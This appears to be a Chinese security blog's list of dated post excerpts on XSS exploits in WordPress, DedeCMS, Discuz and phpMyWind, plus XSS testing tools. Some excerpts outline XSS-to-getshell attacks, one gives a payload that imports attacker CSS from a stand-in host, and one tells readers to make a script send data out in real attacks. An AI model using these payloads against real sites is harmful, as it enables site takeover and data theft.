WordPress Advanced Custom Fields: Table Field 1.1.12 XSS
Details ================ Software: Advanced Custom Fields: Table Field Version: 1.1.12 Homepage: https://wordpress.org/plugins/advanced-custom-fields-table-field/ Advisory report: https://security.dxw.com/advisories/xss-in-advanced-custom-fields-table-field-could-allow-authenticated-users-to-do-almost-anything-an-ad...
wordpress 3.0-3.9.2 XSS Getshell Payload
- 2014-12-01
- Vulndb
- 3098 阅读
如果实战用记得把 console.lnfo 那一行该为发送喔。。。 密码：fuckxssQ 这个getshell js 有getshell当前模板跟getshell全部模板的功能 默认是getshell当前模板 StartGetshell = 0 如果要getshell全部插件模板 把 StartGetshell的值改为1 即可 ...
dedecms利用xss+csrf getshell
- 2013-06-05
- Vulndb
- 2206 阅读
dedecms的漏洞很多,但是厂商都是不做修复。 之前乌云爆的一个二次注入的漏洞,其中title能够xss,但是官方只是修复了注入,xss并没有修复,只是在title上加了addslashes。 后台可触发xss，利用js代码： JavaScript var request = false; i...
XSS漏洞攻击测试平台—XSSF v3.0 发布
- 2013-03-28
- 周边
- 3061 阅读
XSSF是一款XSS漏洞测试平台，该产品可以把XSS漏洞的真实危害暴露出来。这个产品为教学、渗透测试和合法的研究服务。 XSSF通过XSS漏洞与目标浏览器建立连接进行更加深入的攻击利用测试。XSSF提供强大的API库，并且集成于Metasploit渗透测试框架中。 下载地址: https:...
EasyXSS 1.0源代码公开
- 2013-02-10
- 周边
- 2447 阅读
受到Seay的调戏，现在公开EasyXSS1.0的完整源代码，虽然代码很烂，哈哈。 现在新版本以时间区别版本，基本上又是重写，有部分功能暂未完成。故暂不作公开。 EasyXSS_1.0.zip 安装参考1：http://www.key1088.info/?p=360 文件有点大，主要是IP所在地的信息大。敢问有...
基于QtWebKit的DOM XSS检测技术
- 2013-01-09
- 周边
- 2986 阅读
博文作者：Bingo [ TSRC ] 1、前言 1.1 什么是DOM XSS DOM-based XSS是一种基于文档对象模型（Document Object Model，DOM)的XSS漏洞。简单理解，DOM XSS就是出现在JavaScript代码中的漏洞。与普通XSS不同的是，DOM XSS是在浏览器的解析中改变页面DOM树，且恶意代码并不在返回页面源码中回显，这使我们无法通过特征匹配来检测DOM XSS，给自...
phpmywind xss & csrf getShell 拿下官网
审计代码吧，首先看后台能不能getShell 直接编辑 php文件 写入一句话 所有Sql 语句全部经过一个非常变态的函数 80sec 写的,绕不鸟,群里面叫了几句,无果, 压力肯大 Sql injection不可能了,看到 message.php PHP if(@$action == 'add') { $sql = "INSERT INTO `#@__message` (nickname, contact, content, o...
DEDECMS XSS GETSHeLL 通杀所有版本
- 2012-02-14
- 周边
- 2304 阅读
利用条件：开启注册&&开启投稿 方法 ：注册会员 -> 发表文章：内容输入 <style>@import´http://xxx.com/xss.css´;</style> 1 <style>@import´http://xxx.com/xss.css...
Discuz!多版本,存储型XSS脚本漏洞(0day)
- 2011-06-25
- 日志
- 2061 阅读
发布时间:2011-06-23 影响版本: Discuz! Discuz! 7.x Discuz! Discuz! 6.x 漏洞描述: Discuz论坛软件系统亦称电子公告板（BBS）系统，它伴随社区BBS的流行而成为互联网最重要的应用之一，也逐渐成为网站核心竞争力的标志性体现。 Discuz多个版本在实现上存在跨站脚...
